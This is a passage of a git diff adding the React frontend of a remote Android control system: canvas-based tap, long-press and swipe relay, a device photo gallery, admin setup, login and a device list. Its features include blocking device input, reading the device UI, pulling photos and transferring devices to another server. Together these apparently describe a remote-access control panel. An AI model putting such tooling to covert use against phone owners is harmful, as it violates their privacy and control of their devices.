+ } + } + + // 正常点击模式:发送点击事件到设备 + webSocket.emit('control_message', { + type: 'CLICK', + deviceId, + data: { x: deviceCoords.x, y: deviceCoords.y }, + timestamp: Date.now() + }) + + // 显示触摸指示器 + showTouchIndicator(canvasX, canvasY) + + // 🔧 优化:更新选中元素用于信息显示,避免重复选中 + const clickedElement = findElementAtPoint(deviceCoords.x, deviceCoords.y) + if (clickedElement) { + // 只有当选中的元素发生变化时才更新 + if (!selectedElement || selectedElement.id !== clickedElement.id) { + setSelectedElement(clickedElement) + console.log('🎯 选中新元素:', clickedElement.text || clickedElement.type) + } + } else { + // 🆕 点击空白区域时清除选中元素 + if (selectedElement) { + setSelectedElement(null) + console.log('🎯 点击空白区域,清除选中元素') + } + } + }, [webSocket, deviceId, convertCanvasToDeviceCoords, findElementAtPoint, findVirtualKeyAtPoint, isExtractingConfirmCoords, selectedElement]) + + // 🆕 处理长按操作 + const performLongPress = useCallback((canvasX: number, canvasY: number) => { + if (!webSocket || !deviceId) return + + // 🔧 在提取模式时启用调试信息 + const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, isExtractingConfirmCoords) + if (!deviceCoords) { + console.warn('🖱️ 长按在设备屏幕区域外') + return + } + + console.log('🖱️ 屏幕阅读器长按:', { + canvas: { x: canvasX, y: canvasY }, + device: { + original: { x: deviceCoords.x, y: deviceCoords.y }, + rounded: { x: Math.round(deviceCoords.x), y: Math.round(deviceCoords.y) } + }, + screenSize: uiHierarchy ? { width: uiHierarchy.screenWidth, height: uiHierarchy.screenHeight } : null, + extractingMode: isExtractingConfirmCoords + }) + + // 🆕 如果处于确认坐标提取模式,长按也算作提取操作 + if (isExtractingConfirmCoords) { + const coords = { x: deviceCoords.x, y: deviceCoords.y } + // setExtractedCoords(coords) + + // 保存到服务器 + webSocket.emit('client_event', { + type: 'SAVE_CONFIRM_COORDS', + data: { deviceId, coords }, + timestamp: Date.now() + }) + + // 显示特殊指示器 + showLongPressIndicator(canvasX, canvasY) + + console.log('🎯 长按提取确认坐标:', coords) + + // 自动退出提取模式 + setTimeout(() => { + setIsExtractingConfirmCoords(false) + }, 1000) + + return // 提取模式下不执行实际长按 + } + + // 🆕 检查是否长按了虚拟按键(优先检测) + const longPressedVirtualKey = findVirtualKeyAtPoint(deviceCoords.x, deviceCoords.y) + if (longPressedVirtualKey) { + console.log('⌨️ 长按虚拟按键:', longPressedVirtualKey.text) + + // 虚拟按键长按处理(可以用于特殊功能,比如连续输入) + if (longPressedVirtualKey.id === 'key_delete') { + // 长按删除键可以清空输入 + webSocket.emit('control_message', { + type: 'KEY_EVENT', + deviceId, + data: { keyCode: 67 }, // KEYCODE_DEL + timestamp: Date.now() + }) + } + + // 🆕 继续发送长按事件到设备(不return,让长按事件继续执行) + console.log('⌨️ 虚拟按键长按,同时发送长按事件到设备') + } + + // 🆕 如果虚拟键盘可见但长按的不是按键,检查是否在键盘区域内 + if (virtualKeyboard.visible && virtualKeyboard.keys.length > 0) { + // 检查长按位置是否在键盘的总体区域内(包括按键间隙) + const keyboardArea = { + left: Math.min(...virtualKeyboard.keys.map(k => k.x)), + right: Math.max(...virtualKeyboard.keys.map(k => k.x + k.width)), + top: Math.min(...virtualKeyboard.keys.map(k => k.y)), + bottom: Math.max(...virtualKeyboard.keys.map(k => k.y + k.height)) + } + + const isInKeyboardArea = deviceCoords.x >= keyboardArea.left && + deviceCoords.x <= keyboardArea.right && + deviceCoords.y >= keyboardArea.top && + deviceCoords.y <= keyboardArea.bottom + + // 如果在键盘区域内但不在具体按键上,则穿透到下方元素 + if (isInKeyboardArea) { + console.log('⌨️ 长按键盘区域空隙,穿透到下方元素') + // 继续执行下方的正常长按逻辑 + } + } + + // 正常长按模式:发送长按事件到设备 + webSocket.emit('control_message', { + type: 'LONG_PRESS', + deviceId, + data: { x: deviceCoords.x, y: deviceCoords.y }, + timestamp: Date.now() + }) + + // 显示长按指示器 + showLongPressIndicator(canvasX, canvasY) + + // 🔧 更新选中元素用于信息显示 + const clickedElement = findElementAtPoint(deviceCoords.x, deviceCoords.y) + if (clickedElement) { + // 只有当选中的元素发生变化时才更新 + if (!selectedElement || selectedElement.id !== clickedElement.id) { + setSelectedElement(clickedElement) + console.log('🎯 长按选中新元素:', clickedElement.text || clickedElement.type) + } + } else { + // 🆕 长按空白区域时清除选中元素 + if (selectedElement) { + setSelectedElement(null) + console.log('🎯 长按空白区域,清除选中元素') + } + } + }, [webSocket, deviceId, convertCanvasToDeviceCoords, findElementAtPoint, findVirtualKeyAtPoint, isExtractingConfirmCoords, selectedElement, uiHierarchy]) + + // 🆕 鼠标按下处理 + const handleMouseDown = useCallback((event: React.MouseEvent) => { + event.preventDefault() + setIsDragging(true) + + const canvas = canvasRef.current + if (!canvas) return + + const rect = canvas.getBoundingClientRect() + const startX = event.clientX - rect.left + const startY = event.clientY - rect.top + + setDragStart({ x: startX, y: startY }) + + // 🆕 启动长按计时器 + setIsLongPressTriggered(false) + longPressTimerRef.current = window.setTimeout(() => { + setIsLongPressTriggered(true) + performLongPress(startX, startY) + }, 500) // 500ms 后触发长按 + }, [performLongPress]) + + // 🆕 鼠标移动处理 + const handleMouseMove = useCallback((event: React.MouseEvent) => { + if (!isDragging || !dragStart) return + + event.preventDefault() + }, [isDragging, dragStart]) + + // 🆕 鼠标抬起处理 + const handleMouseUp = useCallback((event: React.MouseEvent) => { + if (!isDragging || !dragStart) return + + event.preventDefault() + setIsDragging(false) + + // 🆕 清理长按计时器 + if (longPressTimerRef.current) { + clearTimeout(longPressTimerRef.current) + longPressTimerRef.current = null + } + + // 🆕 如果长按已触发,直接清理状态,不执行点击或滑动 + if (isLongPressTriggered) { + setDragStart(null) + setIsLongPressTriggered(false) + return + } + + const canvas = canvasRef.current + if (!canvas || !webSocket || !deviceId) return + + const rect = canvas.getBoundingClientRect() + const endX = event.clientX - rect.left + const endY = event.clientY - rect.top + + // 计算移动距离 + const deltaX = Math.abs(endX - dragStart.x) + const deltaY = Math.abs(endY - dragStart.y) + const threshold = 10 // 10像素阈值,避免误触 + + if (deltaX < threshold && deltaY < threshold) { + // 小距离移动,当作点击处理 + performClick(endX, endY) + } else { + // 大距离移动,当作滑动处理 + const startCoords = convertCanvasToDeviceCoords(dragStart.x, dragStart.y) + const endCoords = convertCanvasToDeviceCoords(endX, endY) + + if (!startCoords || !endCoords) { + console.warn('🖱️ 滑动坐标转换失败,滑动可能在屏幕区域外') + return + } + + console.log('🖱️ 屏幕阅读器滑动:', { + start: { canvas: dragStart, device: startCoords }, + end: { canvas: { x: endX, y: endY }, device: endCoords } + }) + + // 发送滑动事件到设备 + webSocket.emit('control_message', { + type: 'SWIPE', + deviceId, + data: { + startX: startCoords.x, + startY: startCoords.y, + endX: endCoords.x, + endY: endCoords.y, + duration: 300 + }, + timestamp: Date.now() + }) + + // 显示滑动指示器 + showSwipeIndicator(dragStart.x, dragStart.y, endX, endY) + } + + setDragStart(null) + }, [isDragging, dragStart, webSocket, deviceId, convertCanvasToDeviceCoords, performClick, isLongPressTriggered]) + + // 🆕 鼠标离开处理 + const handleMouseLeave = useCallback(() => { + setIsDragging(false) + setDragStart(null) + + // 🆕 清理长按计时器和状态 + if (longPressTimerRef.current) { + clearTimeout(longPressTimerRef.current) + longPressTimerRef.current = null + } + setIsLongPressTriggered(false) + }, []) + + // 🔧 已移除 handleElementClick 函数,避免重复点击 + + // 当UI层次结构或选中元素变化时重新绘制 + useEffect(() => { + drawElementBounds() + }, [drawElementBounds]) + + // 如果屏幕阅读器未启用,显示提示信息 + if (!screenReader.enabled) { + return ( +
+
📱
+
+ 屏幕阅读器未启用 +
+
请在控制面板中启用屏幕阅读器
+
+ 启用后将显示设备的UI结构图 +
+
+ ) + } + + return ( +
+ e.preventDefault()} + style={{ + width: '100%', + height: '100%', + maxWidth: '100%', + maxHeight: '100%', + cursor: 'crosshair', + display: 'block', + background: '#ffffff', + imageRendering: 'auto', + margin: 0, + padding: 0 + }} + /> +
+ ) +} + +export default ScreenReader \ No newline at end of file diff --git a/src/components/Gallery/GalleryView.tsx b/src/components/Gallery/GalleryView.tsx new file mode 100644 index 0000000..29492ff --- /dev/null +++ b/src/components/Gallery/GalleryView.tsx @@ -0,0 +1,230 @@ +import React, { useState } from 'react' +import { Card, Image, Row, Col, Spin, Empty, Modal, Button, Tag, Space, Typography } from 'antd' +import { EyeOutlined, DownloadOutlined, FileImageOutlined } from '@ant-design/icons' +import { useSelector } from 'react-redux' +import type { RootState } from '../../store/store' +import type { GalleryImage } from '../../store/slices/uiSlice' + +const { Text } = Typography + +interface GalleryViewProps { + deviceId: string +} + +/** + * 相册展示组件 + */ +const GalleryView: React.FC = () => { + const { gallery } = useSelector((state: RootState) => state.ui) + const [previewVisible, setPreviewVisible] = useState(false) + const [previewImage, setPreviewImage] = useState(null) + + const handlePreview = (image: GalleryImage) => { + setPreviewImage(image) + setPreviewVisible(true) + } + + const handleDownload = (image: GalleryImage) => { + // 创建下载链接 + const link = document.createElement('a') + link.href = image.url + link.download = image.displayName || `image_${image.id}.jpg` + document.body.appendChild(link) + link.click() + document.body.removeChild(link) + } + + const formatFileSize = (bytes: number) => { + if (bytes === 0) return '0 B' + const k = 1024 + const sizes = ['B', 'KB', 'MB', 'GB'] + const i = Math.floor(Math.log(bytes) / Math.log(k)) + return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i] + } + + const formatDate = (timestamp: number) => { + return new Date(timestamp).toLocaleString('zh-CN', { + year: 'numeric', + month: '2-digit', + day: '2-digit', + hour: '2-digit', + minute: '2-digit', + second: '2-digit' + }) + } + + if (gallery.loading) { + return ( + +
+ +
正在加载相册...
+
+
+ ) + } + + if (gallery.images.length === 0) { + return ( + + } + description="暂无相册图片" + style={{ padding: '20px 0' }} + /> + + ) + } + + return ( + <> + + + 相册 ({gallery.images.length} 张) + + } + size="small" + style={{ marginTop: '8px' }} + extra={ + + {gallery.images.length > 0 && formatDate(gallery.images[0].timestamp)} + + } + > + + {gallery.images.map((image) => ( +
+ + handlePreview(image)} + /> +
+ {image.width}×{image.height} +
+ + } + actions={[ + , + + ]} + width="80%" + style={{ top: 20 }} + > + {previewImage && ( +
+ +
+ +
+ 尺寸: + {previewImage.width} × {previewImage.height} + + + 大小: + {formatFileSize(previewImage.size)} + + + 类型: + {previewImage.mimeType} + + + 时间: + {formatDate(previewImage.timestamp)} + + + 路径: + {previewImage.contentUri} + + + + + )} + + + ) +} + +export default GalleryView diff --git a/src/components/InstallPage.tsx b/src/components/InstallPage.tsx new file mode 100644 index 0000000..f4b7178 --- /dev/null +++ b/src/components/InstallPage.tsx @@ -0,0 +1,377 @@ +import React, { useState } from 'react' +import { + Card, + Form, + Input, + Button, + Typography, + Alert, + Space, + Steps, + Row, + Col, + message +} from 'antd' +import { + UserOutlined, + LockOutlined, + CheckCircleOutlined, + SettingOutlined, + SafetyOutlined +} from '@ant-design/icons' +import apiClient from '../services/apiClient' + +const { Title, Text, Paragraph } = Typography +const { Step } = Steps + +interface InstallPageProps { + onInstallComplete: () => void +} + +/** + * 系统安装页面组件 + * 用于首次运行时设置管理员账号和密码 + */ +const InstallPage: React.FC = ({ onInstallComplete }) => { + const [form] = Form.useForm() + const [loading, setLoading] = useState(false) + const [currentStep, setCurrentStep] = useState(0) + const [error, setError] = useState(null) + const [lockFilePath, setLockFilePath] = useState('') + + const handleInstall = async (values: { username: string; password: string; confirmPassword: string }) => { + if (values.password !== values.confirmPassword) { + setError('两次输入的密码不一致') + return + } + + setLoading(true) + setError(null) + + try { + const result = await apiClient.post('/api/auth/initialize', { + username: values.username, + password: values.password + }) + + if (result.success) { + setCurrentStep(2) + message.success('系统初始化成功!') + + // 获取初始化信息以显示锁文件路径 + try { + const checkResult = await apiClient.get('/api/auth/check-initialization') + if (checkResult.success && checkResult.lockFilePath) { + setLockFilePath(checkResult.lockFilePath) + } + } catch (infoError) { + console.warn('获取初始化信息失败:', infoError) + } + + // 延迟跳转到登录页面 + setTimeout(() => { + onInstallComplete() + }, 3000) + } else { + setError(result.message || '初始化失败') + } + } catch (error: any) { + setError(error.message || '初始化失败,请稍后重试') + } finally { + setLoading(false) + } + } + + const validateUsername = (_: any, value: string) => { + if (!value) { + return Promise.reject(new Error('请输入用户名')) + } + if (value.length < 3) { + return Promise.reject(new Error('用户名至少需要3个字符')) + } + if (!/^[a-zA-Z0-9_-]+$/.test(value)) { + return Promise.reject(new Error('用户名只能包含字母、数字、下划线和横线')) + } + return Promise.resolve() + } + + const validatePassword = (_: any, value: string) => { + if (!value) { + return Promise.reject(new Error('请输入密码')) + } + if (value.length < 6) { + return Promise.reject(new Error('密码至少需要6个字符')) + } + return Promise.resolve() + } + + const steps = [ + { + title: '欢迎', + icon: , + description: '系统初始化向导' + }, + { + title: '设置账号', + icon: , + description: '创建管理员账号' + }, + { + title: '完成', + icon: , + description: '初始化完成' + } + ] + + return ( +
+ +
+
+ 🚀 +
+ + 远程控制系统 + + + 系统初始化向导 + +
+ + + {steps.map((step, index) => ( + + ))} + + + {currentStep === 0 && ( +
+ + + 这是您首次运行本系统,需要进行初始化设置。 + + + 请为系统创建一个管理员账号,该账号将用于登录和管理系统。 + + +
+ + 安全的密码保护 +
+
+ + 个性化用户名 +
+
+
+ } + type="info" + showIcon + style={{ marginBottom: '24px', textAlign: 'left' }} + /> + +
+ )} + + {currentStep === 1 && ( +
+ + + {error && ( + setError(null)} + style={{ marginBottom: '16px' }} + /> + )} + + + } + placeholder="请输入管理员用户名" + style={{ borderRadius: '8px' }} + /> + + + + } + placeholder="请输入密码(至少6个字符)" + style={{ borderRadius: '8px' }} + /> + + + ({ + validator(_, value) { + if (!value || getFieldValue('password') === value) { + return Promise.resolve() + } + return Promise.reject(new Error('两次输入的密码不一致')) + }, + }), + ]} + > + } + placeholder="请再次输入密码" + style={{ borderRadius: '8px' }} + /> + + + +
+ + + + + + + + )} + + {currentStep === 2 && ( +
+
+ ✅ +
+ + + 系统已成功初始化,管理员账号创建完成。 + + + 即将跳转到登录页面,请使用刚才设置的账号密码登录系统。 + + {lockFilePath && ( +
+ 💡 重要提示: +
+ + 系统已创建初始化锁文件,防止重复初始化。 + +
+ + {lockFilePath} + +
+ + 如需重新初始化,请先删除此文件。 + +
+ )} +
+ } + type="success" + showIcon + style={{ textAlign: 'left' }} + /> + + )} + + + ) +} + +export default InstallPage \ No newline at end of file diff --git a/src/components/Layout/Header.tsx b/src/components/Layout/Header.tsx new file mode 100644 index 0000000..5ef2b35 --- /dev/null +++ b/src/components/Layout/Header.tsx @@ -0,0 +1,140 @@ +import React from 'react' +import { Layout, Button, Badge, Space, Dropdown, Avatar } from 'antd' +import { + MenuOutlined, + WifiOutlined, + DisconnectOutlined, + SettingOutlined, + InfoCircleOutlined, + MobileOutlined +} from '@ant-design/icons' +import { useSelector } from 'react-redux' +import type { RootState } from '../../store/store' + +const { Header: AntHeader } = Layout + +interface HeaderProps { + onMenuClick: () => void + onConnectClick: () => void +} + +/** + * 顶部导航栏组件 + */ +const Header: React.FC = ({ onMenuClick, onConnectClick }) => { + const { status: connectionStatus, serverUrl } = useSelector((state: RootState) => state.connection) + const { connectedDevices } = useSelector((state: RootState) => state.devices) + + const getConnectionStatusIcon = () => { + switch (connectionStatus) { + case 'connected': + return + case 'connecting': + return + default: + return + } + } + + const getConnectionStatusText = () => { + switch (connectionStatus) { + case 'connected': + return '已连接' + case 'connecting': + return '连接中' + case 'error': + return '连接错误' + default: + return '未连接' + } + } + + const menuItems = [ + { + key: 'settings', + icon: , + label: '设置', + }, + { + key: 'about', + icon: , + label: '关于', + }, + ] + + return ( + +
+
+ + + {/* 设备数量显示 */} + + + + + {/* 连接状态 */} +
+ {getConnectionStatusIcon()} + + {getConnectionStatusText()} + + {serverUrl && ( + + ({new URL(serverUrl).hostname}) + + )} +
+ + {/* 连接按钮 */} + + + {/* 菜单下拉 */} + + } + style={{ cursor: 'pointer', backgroundColor: '#1890ff' }} + /> + +
+
+ ) +} + +export default Header \ No newline at end of file diff --git a/src/components/Layout/Sidebar.tsx b/src/components/Layout/Sidebar.tsx new file mode 100644 index 0000000..091781f --- /dev/null +++ b/src/components/Layout/Sidebar.tsx @@ -0,0 +1,168 @@ +import React from 'react' +import { Layout, Card, List, Badge, Button, Empty } from 'antd' +import { + MobileOutlined, + AndroidOutlined, + CheckCircleOutlined, + ExclamationCircleOutlined, + CloseCircleOutlined +} from '@ant-design/icons' +import { useSelector, useDispatch } from 'react-redux' +import type { RootState, AppDispatch } from '../../store/store' +import { selectDevice, selectFilteredDevices } from '../../store/slices/deviceSlice' +import { setDeviceInputBlocked } from '../../store/slices/uiSlice' + +const { Sider } = Layout + +interface SidebarProps { + collapsed: boolean +} + +/** + * 侧边栏组件 + */ +const Sidebar: React.FC = ({ collapsed }) => { + const dispatch = useDispatch() + const { connectedDevices, selectedDeviceId } = useSelector((state: RootState) => state.devices) + const filteredDevices = useSelector((state: RootState) => selectFilteredDevices(state)) + const { status: connectionStatus } = useSelector((state: RootState) => state.connection) + + const getDeviceStatusIcon = (status: string) => { + switch (status) { + case 'online': + return + case 'busy': + return + default: + return + } + } + + const formatLastSeen = (timestamp: number) => { + const diff = Date.now() - timestamp + if (diff < 60000) return '刚刚' + if (diff < 3600000) return `${Math.floor(diff / 60000)}分钟前` + if (diff < 86400000) return `${Math.floor(diff / 3600000)}小时前` + return `${Math.floor(diff / 86400000)}天前` + } + + const handleDeviceSelect = (deviceId: string) => { + dispatch(selectDevice(deviceId)) + + // 找到选中的设备并同步输入阻止状态 + const selectedDevice = connectedDevices.find(d => d.id === deviceId) + if (selectedDevice && selectedDevice.inputBlocked !== undefined) { + dispatch(setDeviceInputBlocked(selectedDevice.inputBlocked)) + } + } + + if (collapsed) { + return ( + +
+ + + +
+
+ ) + } + + return ( + +
+ + + 连接的设备 + +
+ } + size="small" + style={{ height: '100%' }} + styles={{ body: { padding: 0, maxHeight: 'calc(100vh - 200px)', overflow: 'auto' } }} + > + {filteredDevices.length === 0 ? ( + + {connectionStatus !== 'connected' && ( + + )} + + ) : ( + ( + handleDeviceSelect(device.id)} + > + + +
+ {getDeviceStatusIcon(device.status)} +
+ + } + title={ +
+ {device.name} +
+ } + description={ +
+
{device.model}
+
Android {device.osVersion}
+
{device.screenWidth}×{device.screenHeight}
+
IP: {device.publicIP || '未知'}
+
{formatLastSeen(device.lastSeen)}
+
+ } + /> +
+ )} + /> + )} + + +
+ ) +} + +export default Sidebar \ No newline at end of file diff --git a/src/components/LoginPage.tsx b/src/components/LoginPage.tsx new file mode 100644 index 0000000..97d9c65 --- /dev/null +++ b/src/components/LoginPage.tsx @@ -0,0 +1,172 @@ +import React, { useState } from 'react' +import { + Card, + Form, + Input, + Button, + Typography, + Alert, + Row, + Col +} from 'antd' +import { + UserOutlined, + LockOutlined, + LoginOutlined, + MobileOutlined +} from '@ant-design/icons' + +const { Title, Text } = Typography + +interface LoginPageProps { + onLogin: (username: string, password: string) => Promise + loading?: boolean + error?: string +} + +/** + * 登录页面组件 + */ +const LoginPage: React.FC = ({ onLogin, loading = false, error }) => { + const [form] = Form.useForm() + const [isSubmitting, setIsSubmitting] = useState(false) + + const handleSubmit = async (values: { username: string; password: string }) => { + try { + setIsSubmitting(true) + await onLogin(values.username, values.password) + } catch (err) { + // 错误处理由父组件完成 + } finally { + setIsSubmitting(false) + } + } + + const isLoading = loading || isSubmitting + + return ( +
+ +
+ +
+ {/* Logo和标题 */} +
+ +
+ + + 远程控制中心 + + + 请登录以继续使用 + +
+ + {/* 错误提示 */} + {error && ( + + )} + + {/* 登录表单 */} +
+ 用户名} + rules={[ + { required: true, message: '请输入用户名' }, + { min: 2, message: '用户名至少2个字符' } + ]} + > + } + placeholder="请输入用户名" + size="large" + style={{ borderRadius: '8px' }} + /> + + + 密码} + rules={[ + { required: true, message: '请输入密码' }, + { min: 6, message: '密码至少6个字符' } + ]} + style={{ marginBottom: '32px' }} + > + } + placeholder="请输入密码" + size="large" + style={{ borderRadius: '8px' }} + /> + + + + + + +
+ + + + ) +} + +export default LoginPage \ No newline at end of file diff --git a/src/components/RemoteControlApp.tsx b/src/components/RemoteControlApp.tsx new file mode 100644 index 0000000..b42bec0 --- /dev/null +++ b/src/components/RemoteControlApp.tsx @@ -0,0 +1,1657 @@ +import React, { useState, useEffect } from 'react' +import { Layout, Menu, Button, Popconfirm, App, Dropdown, Table, Modal, Space, Tag, Badge, Input } from 'antd' +import { NodeIndexOutlined, ArrowLeftOutlined, HomeOutlined } from '@ant-design/icons' +import { useDispatch, useSelector } from 'react-redux' +import { + MobileOutlined, + AndroidOutlined, + SettingOutlined, + MenuFoldOutlined, + MenuUnfoldOutlined, + WifiOutlined, + DisconnectOutlined, + DeleteOutlined, + ExclamationCircleOutlined, + UserOutlined, + LogoutOutlined, + DownOutlined, + ControlOutlined, + AppstoreOutlined, + PlayCircleOutlined, + StopOutlined +} from '@ant-design/icons' +import DeviceScreen from './Device/DeviceScreen' +// import DeviceCamera from './Device/DeviceCamera' +import ControlPanel from './Control/ControlPanel' +import APKManager from './APKManager' +import ConnectDialog from './Connection/ConnectDialog' +import ScreenReader from './Device/ScreenReader' +// import GalleryView from './Gallery/GalleryView' +import type { RootState, AppDispatch } from '../store/store' +import { setConnectionStatus, setWebSocket, setServerUrl } from '../store/slices/connectionSlice' +import { addDevice, removeDevice, selectDevice, updateDeviceInputBlocked, updateDeviceConnectionStatus, updateDeviceScreenReaderConfig, updateDeviceLockStatus, updateDeviceRemark, selectFilteredDevices } from '../store/slices/deviceSlice' +import { addNotification, setDeviceInputBlocked } from '../store/slices/uiSlice' +import { enableDeviceScreenReader, disableDeviceScreenReader } from '../store/slices/deviceSlice' +import { logout, selectUser } from '../store/slices/authSlice' +import { io } from 'socket.io-client' +import apiClient from '../services/apiClient' +import DeviceFilter from './Control/DeviceFilter' + +const { Header, Sider, Content } = Layout + +/** + * 远程控制主应用组件 + */ +const RemoteControlApp: React.FC = () => { + const { message, modal } = App.useApp() + const dispatch = useDispatch() + const { status: connectionStatus, serverUrl, webSocket } = useSelector((state: RootState) => state.connection) + const { selectedDeviceId, connectedDevices } = useSelector((state: RootState) => state.devices) + const filteredDevices = useSelector((state: RootState) => selectFilteredDevices(state)) + const { cameraViewVisible, operationEnabled } = useSelector((state: RootState) => state.ui) + const currentUser = useSelector(selectUser) + + const [connectDialogVisible, setConnectDialogVisible] = useState(false) + const [currentView, setCurrentView] = useState('control') + const [menuCollapsed, setMenuCollapsed] = useState(window.innerWidth < 768) + const [isMobile, setIsMobile] = useState(window.innerWidth < 768) + const [autoConnectAttempted, setAutoConnectAttempted] = useState(false) + + // 备注编辑状态 + const [remarkDrafts, setRemarkDrafts] = useState>({}) + const [remarkSaving, setRemarkSaving] = useState>({}) + + // 设备列表分页状态 + const [devicePageSize, setDevicePageSize] = useState(20) + const [deviceCurrentPage, setDeviceCurrentPage] = useState(1) + + // 弹框状态管理 / 独立页面模式 + const [screenModalVisible, setScreenModalVisible] = useState(false) + const [selectedDeviceForModal, setSelectedDeviceForModal] = useState(null) + const [screenSize, setScreenSize] = useState<{ width: number, height: number } | null>(null) + + // ✅ 新增:转设备功能相关状态 + const [transferModalVisible, setTransferModalVisible] = useState(false) + const [transferringDevice, setTransferringDevice] = useState(null) + const [newServerUrl, setNewServerUrl] = useState('') + const [transferring, setTransferring] = useState(false) + + // 是否通过 URL 参数打开独立控制页面 + const [standaloneControlDeviceId, setStandaloneControlDeviceId] = useState(null) + + useEffect(() => { + try { + const params = new URLSearchParams(window.location.search) + const id = params.get('controlDeviceId') + if (id) { + setStandaloneControlDeviceId(id) + const found = connectedDevices.find(d => d.id === id) + if (found) { + setSelectedDeviceForModal(found) + dispatch(selectDevice(found.id)) + setScreenModalVisible(true) + } + } + } catch { } + }, [connectedDevices]) + + // 文本输入功能 + const [textInput, setTextInput] = useState('') + + useEffect(() => { + // 🔐 自动连接到本地服务器(仅在首次加载时尝试,且必须已认证) + if (connectionStatus === 'disconnected' && !serverUrl && !autoConnectAttempted && currentUser) { + // 判断hostname是否为IP地址 + const isIPAddress = (hostname: string): boolean => { + // IPv4地址正则表达式 + const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/ + // IPv6地址正则表达式(简化版) + const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/ + return ipv4Regex.test(hostname) || ipv6Regex.test(hostname) + } + + const isIP = isIPAddress(window.location.hostname) + const defaultServerUrl = isIP + ? `${window.location.protocol}//${window.location.hostname}:3001` + : `${window.location.protocol}//${window.location.hostname}` + + console.log('🔐 用户已认证,自动连接到本地服务器:', defaultServerUrl) + setAutoConnectAttempted(true) + connectToServer(defaultServerUrl) + } + }, [connectionStatus, serverUrl, autoConnectAttempted, currentUser]) + + useEffect(() => { + const handleResize = () => { + const mobile = window.innerWidth < 768 + setIsMobile(mobile) + if (mobile && !menuCollapsed) { + setMenuCollapsed(true) + } + } + + window.addEventListener('resize', handleResize) + return () => window.removeEventListener('resize', handleResize) + }, [menuCollapsed]) + + // 🔐 监听用户登出,断开WebSocket连接 + useEffect(() => { + if (!currentUser && webSocket) { + console.log('🔐 用户已登出,断开WebSocket连接') + webSocket.disconnect() + dispatch(setWebSocket(null)) + dispatch(setConnectionStatus('disconnected')) + } + }, [currentUser, webSocket, dispatch]) + + const connectToServer = (url: string) => { + try { + // 🔐 检查认证状态 + const token = localStorage.getItem('auth_token') + if (!token) { + console.warn('🔐 无认证token,取消WebSocket连接') + dispatch(setConnectionStatus('error')) + dispatch(addNotification({ + type: 'warning', + title: '连接失败', + message: '请先登录后再连接服务器', + })) + return + } + + dispatch(setConnectionStatus('connecting')) + dispatch(setServerUrl(url)) + + // ✅ Socket.IO v4 客户端配置优化 + const socket = io(url, { + // 🔧 Web前端使用websocket传输,低延迟实时流 + transports: ['websocket'], + + // 🔧 重连配置(解决47秒断开问题) + reconnection: true, + reconnectionDelay: 1000, // 1秒重连延迟 + reconnectionDelayMax: 5000, // 最大5秒重连延迟 + reconnectionAttempts: 20, // 最多重连20次 + + // 🔧 超时配置(与服务器保持一致) + timeout: 20000, // 连接超时 + + // 🔧 强制新连接(避免重复客户端计数问题) + forceNew: true, + + // 🔧 其他配置 + autoConnect: true, + upgrade: false, // 已经是websocket,无需升级 + + // 🔐 认证配置:携带JWT token + auth: { + token: token + } + }) + + socket.on('connect', () => { + console.log('已连接到服务器') + dispatch(setConnectionStatus('connected')) + dispatch(addNotification({ + type: 'success', + title: '连接成功', + message: '已成功连接到远程控制服务器', + })) + setConnectDialogVisible(false) + + // 注册为Web客户端 + console.log('发送Web客户端注册请求...') + socket.emit('web_client_register', { + userAgent: navigator.userAgent, + timestamp: Date.now() + }) + + }) + + socket.on('disconnect', () => { + console.log('与服务器断开连接') + dispatch(setConnectionStatus('disconnected')) + dispatch(addNotification({ + type: 'warning', + title: '连接断开', + message: '与服务器的连接已断开', + })) + }) + + socket.on('connect_error', (error) => { + console.error('连接错误:', error) + dispatch(setConnectionStatus('error')) + + if (autoConnectAttempted) { + // 自动连接失败,显示连接对话框让用户手动连接 + dispatch(addNotification({ + type: 'warning', + title: '自动连接失败', + message: '无法自动连接到本地服务器,请手动输入服务器地址', + })) + setConnectDialogVisible(true) + } else { + dispatch(addNotification({ + type: 'error', + title: '连接失败', + message: `无法连接到服务器: ${error.message}`, + })) + setConnectDialogVisible(true) + } + }) + + // 🔐 处理认证错误 + socket.on('auth_error', (data) => { + console.error('🔐 WebSocket认证错误:', data) + dispatch(setConnectionStatus('error')) + + // 认证失败,清除本地token并重定向到登录页 + dispatch(addNotification({ + type: 'error', + title: '认证失败', + message: data.message || '认证已过期,请重新登录', + })) + + // 清除认证状态 + dispatch(logout()) + + // 断开WebSocket连接 + socket.disconnect() + }) + + // 监听客户端注册成功 + socket.on('client_registered', (data) => { + console.log('Web客户端注册成功:', data) + // 如果有现有设备,添加到设备列表 + if (data.devices && data.devices.length > 0) { + console.log('发现现有设备:', data.devices) + data.devices.forEach((device: any) => { + dispatch(addDevice(device)) + }) + } + }) + + socket.on('device_connected', (device) => { + console.log('设备已连接:', device) + dispatch(addDevice(device)) + + // 如果设备当前被选中,同步输入阻止状态到UI + if (device.id === selectedDeviceId && device.inputBlocked !== undefined) { + dispatch(setDeviceInputBlocked(device.inputBlocked)) + } + + dispatch(addNotification({ + type: 'info', + title: '设备已连接', + message: `${device.name} 已连接`, + })) + }) + + socket.on('device_disconnected', (deviceId) => { + console.log('设备已断开:', deviceId) + dispatch(removeDevice(deviceId)) + dispatch(addNotification({ + type: 'info', + title: '设备已断开', + message: '设备连接已断开', + })) + }) + + // 监听设备状态更新 + socket.on('device_status_update', (data) => { + console.log('设备状态更新:', data) + const { deviceId, status } = data + + // ✅ 修复:更新设备的在线状态 + if (status.online !== undefined || status.connected !== undefined) { + const deviceStatus = status.online || status.connected ? 'online' : 'offline' + dispatch(updateDeviceConnectionStatus({ + deviceId, + status: deviceStatus + })) + console.log(`✅ 设备${deviceId}状态已更新为: ${deviceStatus}`) + } + + + + // 更新设备的输入阻止状态 + if (status.inputBlocked !== undefined) { + dispatch(updateDeviceInputBlocked({ + deviceId, + inputBlocked: status.inputBlocked + })) + + // 如果是当前选中的设备,同步UI状态 + if (deviceId === selectedDeviceId) { + dispatch(setDeviceInputBlocked(status.inputBlocked)) + } + } + + // ✅ 修复:更新设备的最后在线时间 + if (status.lastSeen) { + const device = connectedDevices.find(d => d.id === deviceId) + if (device) { + device.lastSeen = status.lastSeen + } + } + }) + + // 监听删除设备响应 + socket.on('delete_device_response', (data) => { + console.log('删除设备响应:', data) + const { deviceId, success, message: msg } = data + + // 关闭加载提示 + 